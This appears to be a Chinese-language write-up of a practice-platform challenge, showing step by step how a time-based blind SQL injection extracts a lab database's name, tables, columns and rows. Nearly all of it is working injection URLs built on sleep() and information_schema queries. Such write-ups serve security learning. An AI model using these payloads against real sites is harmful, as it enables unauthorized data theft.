1. 程式人生 > >網路資訊保安學習平臺---注入關第7題

網路資訊保安學習平臺---注入關第7題

網路資訊保安學習平臺網址:http://hackinglab.cn/ sql盲注:題目內容見平臺上的第7題
我主要使用的基於時間的盲注,其它型別的盲注可自行測試
1、首先要確定資料庫名的長度 輸入 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(length((SELECT concat(database())))<10,sleep(2),1)%23 檢視等待時間,當為14時,等待,說明資料庫名的長度為13 2、猜測資料庫名 猜測第一個字元 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(substr((SELECT concat(database())),1
,1)='0',sleep(2),1)%23 當輸入測試第一個字元為r時,等待 猜測第二個字元 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(substr((SELECT concat(database())),2,1)='0',sleep(2),1)%23 當輸入為0時,等待 ...... 依據猜測,資料庫名為r0866cplushua 3、猜測資料庫中有多少個表 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x723038363663706C7573687561)=3,sleep(2),1)%23 經過多次測試,確認有3個表 4、猜測第一個表名的長度 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 0,1))=3,sleep(2),1)%23 為3 ------------------------------------------------好了,明天繼續猜測吧2016-4-25 23:16-------------------------------------------------- 5、猜測表名 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 1,1),5,1)='o',sleep(2),1)%23 ..... 最後知道有log,user,motto表名 6、猜測表有多少列 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(2),1)%23 經過多次測試,表motto中有3列 7、猜測列名長度 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23 第一個,2個字元,第二個8個字元,第三個是5個字元 8、猜測列名 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23 第一個為id,第二列為username,第三列為motto 9、猜測有多少行 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(2),1)%23 結果為4行 10、猜測內容 http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(2),1)%23 方法知道了,用sqlmap跑吧,手工測試太累了:)